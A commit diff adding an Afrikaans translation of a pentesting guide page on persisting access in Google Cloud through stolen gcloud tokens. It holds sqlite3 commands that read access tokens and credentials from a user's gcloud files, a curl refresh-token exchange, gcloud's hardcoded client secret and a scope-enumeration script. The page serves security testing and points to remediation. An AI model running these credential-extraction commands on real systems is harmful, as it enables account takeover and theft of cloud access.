Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s

This commit is contained in:
Translator
2025-02-21 11:04:42 +00:00
parent f51035b04c
commit d0adb4c65f

View File

@@ -0,0 +1,90 @@
# GCP - Token Volharding
{{#include ../../../banners/hacktricks-training.md}}
### Geverifieerde Gebruikerstokens
Om die **huidige token** van 'n gebruiker te verkry, kan jy die volgende uitvoer:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Kyk op hierdie bladsy hoe om **hierdie token direk met gcloud te gebruik**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Om die besonderhede te kry om **'n nuwe toegangstoken te genereer**, voer in:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Dit is ook moontlik om verfris tokens te vind in **`$HOME/.config/gcloud/application_default_credentials.json`** en in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Om 'n nuwe verfriste toegangstoken met die **verfris token**, kliënt ID, en kliënt geheim te verkry, voer in:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
Die geldigheid van die hernuwingstokens kan bestuur word in **Admin** > **Security** > **Google Cloud session control**, en standaard is dit op 16h ingestel, hoewel dit op nooit verval kan word nie:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
Die outentikasie-stroom wanneer iets soos `gcloud auth login` gebruik word, sal 'n prompt in die blaaier oopmaak en na die aanvaarding van al die skope sal die blaaiers 'n versoek soos hierdie na die http-poort wat deur die hulpmiddel oopgemaak is, stuur:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Dan sal gcloud die toestand en kode gebruik met 'n paar hardgecodeerde `client_id` (`32555940559.apps.googleusercontent.com`) en **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) om die **finale verfris-token data** te verkry.
> [!CAUTION]
> Let daarop dat die kommunikasie met localhost in HTTP is, so dit is moontlik om die data te onderskep om 'n verfris-token te verkry, maar hierdie data is net 1 keer geldig, so dit sou nutteloos wees, dit is makliker om die verfris-token net uit die lêer te lees.
### OAuth Scopes
Jy kan al die Google scopes vind in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) of hulle verkry deur die volgende uit te voer:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Dit is moontlik om te sien watter omfange die toepassing wat **`gcloud`** gebruik om te autentiseer, kan ondersteun met hierdie skrif:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Na uitvoering daarvan is dit nagegaan dat hierdie toepassing hierdie skope ondersteun:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
dit is interessant om te sien hoe hierdie app die **`drive`** omvang ondersteun, wat 'n gebruiker in staat kan stel om van GCP na Workspace op te skaal as 'n aanvaller daarin slaag om die gebruiker te dwing om 'n token met hierdie omvang te genereer.
**Kyk hoe om** [**dit hier te misbruik**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Diensrekeninge
Net soos met geverifieerde gebruikers, as jy daarin slaag om die **privaat sleutel lêer** van 'n diensrekening te **kompromitteer, sal jy dit gewoonlik kan **toegang hê solank jy wil**.\
As jy egter die **OAuth-token** van 'n diensrekening steel, kan dit selfs meer interessant wees, want, selfs al is hierdie tokens standaard net nuttig vir 'n uur, as die **slagoffer die privaat API-sleutel verwyder, sal die OAuth-token steeds geldig wees totdat dit verval**.
### Metadata
Dit is duidelik dat, solank jy binne 'n masjien wat in die GCP-omgewing loop, sal jy in staat wees om die **diensrekening wat aan daardie masjien gekoppel is, te toegang deur die metadata-eindpunt te kontak** (let daarop dat die Oauth-tokens wat jy in hierdie eindpunt kan toegang, gewoonlik deur omvang beperk is).
### Herstelmaatreëls
Sommige herstelmaatreëls vir hierdie tegnieke word verduidelik in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Verwysings
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}